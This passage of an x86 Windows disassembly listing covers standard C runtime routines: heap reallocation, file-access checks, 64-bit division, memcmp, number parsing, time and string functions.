		jb	short loc_416F51
		mov	eax, esi


loc_416F51:				; CODE XREF: sub_416ED2+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_415960
		push	ebx
		push	ebp
		call	sub_418342
		add	esp, 14h


loc_416F63:				; CODE XREF: sub_416ED2+66j
		test	edi, edi
		jnz	loc_416FEB


loc_416F6B:				; CODE XREF: sub_416ED2+53j
					; sub_416ED2+73j
		test	esi, esi
		jnz	short loc_416F72
		push	1
		pop	esi


loc_416F72:				; CODE XREF: sub_416ED2+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_49426C
		call	ds:dword_495428	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_416FCE
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_416F97
		mov	eax, esi


loc_416F97:				; CODE XREF: sub_416ED2+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_415960
		push	ebx
		push	ebp
		call	sub_418342
		add	esp, 14h
		jmp	short loc_416FCA
; ---------------------------------------------------------------------------


loc_416FAB:				; CODE XREF: sub_416ED2+47j
		test	esi, esi
		jnz	short loc_416FB2
		push	1
		pop	esi


loc_416FB2:				; CODE XREF: sub_416ED2+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_49426C
		call	ds:dword_495434	; RtlReAllocateHeap
		mov	edi, eax


loc_416FCA:				; CODE XREF: sub_416ED2+D7j
		test	edi, edi
		jnz	short loc_416FEB


loc_416FCE:				; CODE XREF: sub_416ED2+36j
					; sub_416ED2+B9j
		cmp	dword_49284C, 0
		jz	short loc_416FEB
		push	esi
		call	sub_4181F0
		test	eax, eax
		pop	ecx
		jnz	loc_416F03
		jmp	loc_416EFC
; ---------------------------------------------------------------------------


loc_416FEB:				; CODE XREF: sub_416ED2+93j
					; sub_416ED2+FAj ...
		mov	eax, edi


loc_416FED:				; CODE XREF: sub_416ED2+16j
					; sub_416ED2+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416ED2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FF2	proc near		; CODE XREF: sub_417012+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41C470
		test	eax, eax
		jnz	short loc_416FFC
		retn
; ---------------------------------------------------------------------------


loc_416FFC:				; CODE XREF: sub_416FF2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C300
		add	esp, 10h
		retn
sub_416FF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417012	proc near		; CODE XREF: sub_404A47+18p
					; sub_40636F+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_416FF2
		add	esp, 0Ch
		retn
sub_417012	endp


; =============== S U B	R O U T	I N E =======================================



sub_417025	proc near		; CODE XREF: sub_40539F+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_495374	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417045
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		call	sub_41C4E8
		pop	ecx


loc_417041:				; CODE XREF: sub_417025+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417045:				; CODE XREF: sub_417025+Dj
		test	al, 1
		jz	short loc_417066
		test	[esp+arg_4], 2
		jz	short loc_417066
		mov	dword_4927F4, 0Dh
		mov	dword_4927F8, 5
		jmp	short loc_417041
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_417025+22j
					; sub_417025+29j
		xor	eax, eax
		retn
sub_417025	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417070	proc near		; CODE XREF: sub_4053BF+3Fp
					; sub_4140AD+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_417092
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4170D3
; ---------------------------------------------------------------------------


loc_417092:				; CODE XREF: sub_417070+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4170A0:				; CODE XREF: sub_417070+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4170A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4170CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4170CE
		jb	short loc_4170CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4170CF


loc_4170CE:				; CODE XREF: sub_417070+4Ej
					; sub_417070+54j
		dec	esi


loc_4170CF:				; CODE XREF: sub_417070+56j
					; sub_417070+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4170D3:				; CODE XREF: sub_417070+20j
		pop	esi
		pop	ebx
		retn	10h
sub_417070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4170E0	proc near		; CODE XREF: sub_4053BF+2Dp
					; sub_4140AD+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417101
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_417151
; ---------------------------------------------------------------------------


loc_417101:				; CODE XREF: sub_4170E0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41710F:				; CODE XREF: sub_4170E0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41710F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41713A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41713A
		jb	short loc_417142
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417142


loc_41713A:				; CODE XREF: sub_4170E0+4Aj
					; sub_4170E0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_417142:				; CODE XREF: sub_4170E0+52j
					; sub_4170E0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417151:				; CODE XREF: sub_4170E0+1Fj
		pop	ebx
		retn	10h
sub_4170E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417160	proc near		; CODE XREF: sub_405512+5Fp
					; sub_405512+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417181
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417181:				; CODE XREF: sub_417160+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41719D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41719D:				; CODE XREF: sub_417160+27j
		or	eax, eax
		jnz	short loc_4171B9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4171FA
; ---------------------------------------------------------------------------


loc_4171B9:				; CODE XREF: sub_417160+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4171C7:				; CODE XREF: sub_417160+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4171C7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4171F5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4171F5
		jb	short loc_4171F6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4171F6


loc_4171F5:				; CODE XREF: sub_417160+85j
					; sub_417160+8Bj
		dec	esi


loc_4171F6:				; CODE XREF: sub_417160+8Dj
					; sub_417160+93j
		xor	edx, edx
		mov	eax, esi


loc_4171FA:				; CODE XREF: sub_417160+57j
		dec	edi
		jnz	short loc_417204
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417204:				; CODE XREF: sub_417160+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417210	proc near		; CODE XREF: sub_405941+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41725C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41725D
		test	eax, 1
		jz	short loc_41723D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41728A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41725A


loc_41723D:				; CODE XREF: sub_417210+20j
					; sub_417210+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41728A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41728A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41723D


loc_41725A:				; CODE XREF: sub_417210+2Bj
					; sub_417210+84j
		pop	edi
		pop	esi

locret_41725C:				; CODE XREF: sub_417210+6j
		retn
; ---------------------------------------------------------------------------


loc_41725D:				; CODE XREF: sub_417210+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_417292
		repe cmpsd
		jz	short loc_417292
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_417285
		cmp	ch, dh
		jnz	short loc_417285
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_417285
		cmp	ch, dh


loc_417285:				; CODE XREF: sub_417210+63j
					; sub_417210+67j ...
		mov	eax, 0


loc_41728A:				; CODE XREF: sub_417210+26j
					; sub_417210+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417292:				; CODE XREF: sub_417210+55j
					; sub_417210+59j
		test	eax, eax
		jz	short loc_41725A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_417285
		dec	eax
		jz	short loc_4172B9
		cmp	dh, ch
		jnz	short loc_417285
		dec	eax
		jz	short loc_4172B9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_417285
		dec	eax


loc_4172B9:				; CODE XREF: sub_417210+8Fj
					; sub_417210+96j
		pop	edi
		pop	esi
		retn
sub_417210	endp

; ---------------------------------------------------------------------------
		push	0
		push	dword ptr [esp+10h]
		push	dword ptr [esp+10h]
		push	dword ptr [esp+10h]
		call	sub_4172D3
		add	esp, 10h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172D3	proc near		; CODE XREF: .text:004172CAp
					; sub_4174DB+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_4172EB:				; CODE XREF: sub_4172D3+46j
		cmp	dword_435E38, 1
		jle	short loc_417303
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_417312
; ---------------------------------------------------------------------------


loc_417303:				; CODE XREF: sub_4172D3+1Fj
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_417312:				; CODE XREF: sub_4172D3+2Ej
		test	eax, eax
		jz	short loc_41731B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4172EB
; ---------------------------------------------------------------------------


loc_41731B:				; CODE XREF: sub_4172D3+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_417329
		or	[ebp+arg_C], 2
		jmp	short loc_41732E
; ---------------------------------------------------------------------------


loc_417329:				; CODE XREF: sub_4172D3+4Ej
		cmp	bl, 2Bh
		jnz	short loc_417334


loc_41732E:				; CODE XREF: sub_4172D3+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_417334:				; CODE XREF: sub_4172D3+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4174CB
		cmp	eax, 1
		jz	loc_4174CB
		cmp	eax, 24h
		jg	loc_4174CB
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41737C
		cmp	bl, 30h
		jz	short loc_417366
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_417398
; ---------------------------------------------------------------------------


loc_417366:				; CODE XREF: sub_4172D3+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_417379
		cmp	al, 58h
		jz	short loc_417379
		mov	[ebp+arg_8], 8
		jmp	short loc_417398
; ---------------------------------------------------------------------------


loc_417379:				; CODE XREF: sub_4172D3+97j
					; sub_4172D3+9Bj
		mov	[ebp+arg_8], ecx


loc_41737C:				; CODE XREF: sub_4172D3+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_417398
		cmp	bl, 30h
		jnz	short loc_417398
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_417390
		cmp	al, 58h
		jnz	short loc_417398


loc_417390:				; CODE XREF: sub_4172D3+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_417398:				; CODE XREF: sub_4172D3+91j
					; sub_4172D3+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_4173A8:				; CODE XREF: sub_4172D3+16Cj
		cmp	dword_435E38, 1
		movzx	esi, bl
		jle	short loc_4173C0
		push	4
		push	esi
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------


loc_4173C0:				; CODE XREF: sub_4172D3+DFj
		mov	eax, off_435C2C
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4173CB:				; CODE XREF: sub_4172D3+EBj
		test	eax, eax
		jz	short loc_4173D7
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_417409
; ---------------------------------------------------------------------------


loc_4173D7:				; CODE XREF: sub_4172D3+FAj
		cmp	dword_435E38, 1
		jle	short loc_4173EB
		push	edi
		push	esi
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_4173F6
; ---------------------------------------------------------------------------


loc_4173EB:				; CODE XREF: sub_4172D3+10Bj
		mov	eax, off_435C2C
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4173F6:				; CODE XREF: sub_4172D3+116j
		test	eax, eax
		jz	short loc_417444
		movsx	eax, bl
		push	eax
		call	sub_41C557
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_417409:				; CODE XREF: sub_4172D3+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_417444
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41742E
		jnz	short loc_417428
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41742E


loc_417428:				; CODE XREF: sub_4172D3+147j
		or	[ebp+arg_C], 4
		jmp	short loc_417437
; ---------------------------------------------------------------------------


loc_41742E:				; CODE XREF: sub_4172D3+145j
					; sub_4172D3+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_417437:				; CODE XREF: sub_4172D3+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_4173A8
; ---------------------------------------------------------------------------


loc_417444:				; CODE XREF: sub_4172D3+125j
					; sub_4172D3+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_417462
		test	edx, edx
		jz	short loc_41745C
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41745C:				; CODE XREF: sub_4172D3+181j
		and	[ebp+var_8], 0
		jmp	short loc_4174AF
; ---------------------------------------------------------------------------


loc_417462:				; CODE XREF: sub_4172D3+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_417488
		test	cl, 1
		jnz	short loc_4174AF
		and	ecx, 2
		jz	short loc_41747F
		cmp	[ebp+var_8], 80000000h
		ja	short loc_417488


loc_41747F:				; CODE XREF: sub_4172D3+1A1j
		test	ecx, ecx
		jnz	short loc_4174AF
		cmp	[ebp+var_8], eax
		jbe	short loc_4174AF


loc_417488:				; CODE XREF: sub_4172D3+197j
					; sub_4172D3+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4927F4, 22h
		jz	short loc_41749E
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_4174AF
; ---------------------------------------------------------------------------


loc_41749E:				; CODE XREF: sub_4172D3+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_4174AF:				; CODE XREF: sub_4172D3+18Dj
					; sub_4172D3+19Cj ...
		test	edx, edx
		jz	short loc_4174B8
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_4174B8:				; CODE XREF: sub_4172D3+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4174C6
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_4174C6:				; CODE XREF: sub_4172D3+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_4174D6
; ---------------------------------------------------------------------------


loc_4174CB:				; CODE XREF: sub_4172D3+66j
					; sub_4172D3+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4174D4
		mov	[eax], edi


loc_4174D4:				; CODE XREF: sub_4172D3+1FDj
		xor	eax, eax


loc_4174D6:				; CODE XREF: sub_4172D3+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4172D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174DB	proc near		; CODE XREF: .text:0040600Dp
					; sub_4087B3+2848p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4172D3
		add	esp, 10h
		retn
sub_4174DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174F2	proc near		; CODE XREF: .text:00405B9Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49534C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_49543C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4927EA
		jnz	short loc_417557
		mov	ax, [ebp+var_18]
		cmp	ax, word_4927E8
		jnz	short loc_417557
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4927E6
		jnz	short loc_417557
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4927E2
		jnz	short loc_417557
		mov	ax, [ebp+var_20]
		cmp	ax, word_4927E0
		jnz	short loc_417557
		mov	eax, dword_4927D8
		jmp	short loc_41759C
; ---------------------------------------------------------------------------


loc_417557:				; CODE XREF: sub_4174F2+28j
					; sub_4174F2+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	ds:dword_495438	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417584
		cmp	eax, 2
		jnz	short loc_417580
		cmp	[ebp+var_32], 0
		jz	short loc_417580
		cmp	[ebp+var_24], 0
		jz	short loc_417580
		push	1
		pop	eax
		jmp	short loc_417587
; ---------------------------------------------------------------------------


loc_417580:				; CODE XREF: sub_4174F2+7Aj
					; sub_4174F2+81j ...
		xor	eax, eax
		jmp	short loc_417587
; ---------------------------------------------------------------------------


loc_417584:				; CODE XREF: sub_4174F2+75j
		or	eax, 0FFFFFFFFh


loc_417587:				; CODE XREF: sub_4174F2+8Cj
					; sub_4174F2+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4927E0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4927D8, eax
		pop	esi


loc_41759C:				; CODE XREF: sub_4174F2+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41C623
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_4175CC
		mov	[ecx], eax

locret_4175CC:				; CODE XREF: sub_4174F2+D6j
		leave
		retn
sub_4174F2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4175D0	proc near		; CODE XREF: .text:004066EEp
					; sub_4087B3+42Cp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417641
sub_4175D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_406B82+15Dp
					; sub_4087B3+435p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4175FC


loc_4175ED:				; CODE XREF: sub_4175E0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41762F
		test	ecx, 3
		jnz	short loc_4175ED


loc_4175FC:				; CODE XREF: sub_4175E0+Bj
					; sub_4175E0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4175FC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41763E
		test	ah, ah
		jz	short loc_417639
		test	eax, 0FF0000h
		jz	short loc_417634
		test	eax, 0FF000000h
		jz	short loc_41762F
		jmp	short loc_4175FC
; ---------------------------------------------------------------------------


loc_41762F:				; CODE XREF: sub_4175E0+12j
					; sub_4175E0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417641
; ---------------------------------------------------------------------------


loc_417634:				; CODE XREF: sub_4175E0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417641
; ---------------------------------------------------------------------------


loc_417639:				; CODE XREF: sub_4175E0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417641
; ---------------------------------------------------------------------------


loc_41763E:				; CODE XREF: sub_4175E0+39j
		lea	edi, [ecx-4]


loc_417641:				; CODE XREF: sub_4175D0+5j
					; sub_4175E0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417666


loc_41764D:				; CODE XREF: sub_4175E0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4176B8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41764D
		jmp	short loc_417666
; ---------------------------------------------------------------------------


loc_417661:				; CODE XREF: sub_4175E0+9Ej
					; sub_4175E0+B8j
		mov	[edi], edx
		add	edi, 4


loc_417666:				; CODE XREF: sub_4175E0+6Bj
					; sub_4175E0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417661
		test	dl, dl
		jz	short loc_4176B8
		test	dh, dh
		jz	short loc_4176AF
		test	edx, 0FF0000h
		jz	short loc_4176A2
		test	edx, 0FF000000h
		jz	short loc_41769A
		jmp	short loc_417661
; ---------------------------------------------------------------------------


loc_41769A:				; CODE XREF: sub_4175E0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4176A2:				; CODE XREF: sub_4175E0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4176AF:				; CODE XREF: sub_4175E0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4176B8:				; CODE XREF: sub_4175E0+72j
					; sub_4175E0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4175E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176C0	proc near		; CODE XREF: .text:004066E1p
					; sub_406B82+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_4176D9:				; CODE XREF: sub_4176C0+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_4176D9
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_417701
		mov	edx, dword_4927F0


loc_417701:				; CODE XREF: sub_4176C0+39j
					; sub_4176C0+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_417721
		test	al, al
		jz	short loc_417721
		inc	edx
		jmp	short loc_417701
; ---------------------------------------------------------------------------


loc_417721:				; CODE XREF: sub_4176C0+58j
					; sub_4176C0+5Cj
		mov	ebx, edx


loc_417723:				; CODE XREF: sub_4176C0+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_417747
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_417743
		inc	edx
		jmp	short loc_417723
; ---------------------------------------------------------------------------


loc_417743:				; CODE XREF: sub_4176C0+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_417747:				; CODE XREF: sub_4176C0+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4927F0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4176C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: .text:004066A5p
